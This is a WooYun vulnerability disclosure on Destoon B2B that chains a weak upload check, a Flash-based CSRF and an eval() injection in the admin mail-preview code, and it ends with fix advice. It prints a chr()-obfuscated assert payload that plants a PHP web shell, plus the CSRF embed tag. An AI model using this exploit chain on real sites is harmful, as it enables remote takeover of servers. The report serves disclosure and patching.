Destoon B2B csrf getshell
- 发布时间: 2014-05-27
- 公开时间: 2014-08-25
- 漏洞类型: csrf
- 危害等级: 中
- 漏洞编号: WooYun-2014-62435
- 测试版本:2014-05-21
简要描述
上传问题+csrf+后台任意命令执行 = csrf getshell详细说明
先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。 可以通过上传一个.jpg后缀的swf来进行csrf 然后是后台命令执行 /member/admin/sendmail.inc.php 行151default:
if(isset($send)) {
if(isset($preview) && $preview) {
$content = stripslashes($content);
if($template) {
if($sendtype == 2) {
$emails = explode("\n", $emails);
$email = trim($emails[0]);
} else if($sendtype == 3) {
$emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail));
$email = trim($emails[0]);
}
$user = _userinfo($fields, $email);
eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行
$content = ob_template($template, 'mail');
}
echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>';
echo '<strong>邮件正文:</strong><br/><br/>';
echo $content;
exit;
}
漏洞证明
首先把请求抓出来 精简参数 得到命令执行的最简参数如下moduleid=2
file=sendmail
send=1
preview=1
template=1
title='执行点'
由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下
{${assert(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(92).chr(39).chr(120).chr(92).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41).@chr(59))}}
下面来制作一个csrf的swf

<embed src="**.**.**.**/file/upload/201405/26/22-00-20-27-3.jpg" allowScriptAccess="always" type="application/x-shockwave-flash"></embed>



修复方案
- 命令执行 非必要别用双引号
- csrf 后台操作需要加token验referer
- 上传文件不光要检查后缀,文件内容也要查
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 农文旅融合绘就美丽乡村新图景 7952757
- 2 超级计算机算出人类灭绝时间 7993379
- 3 130亿三岁影帝接了多少广告 7804934
- 4 春回大地农事起 春耕备耕正当时 7712263
- 5 天雷滚滚我好怕怕传到联合国 7622634
- 6 下周将迎超级大回暖 气温火箭式飙升 7528194
- 7 男生用镜头记录下女友5年的蜕变 7456162
- 8 《家有儿女》花了多少经费在餐桌上 7332336
- 9 美国将完全退出联合国?联合国回应 7262689
- 10 国青队长:很可惜但足球就是这样 7127446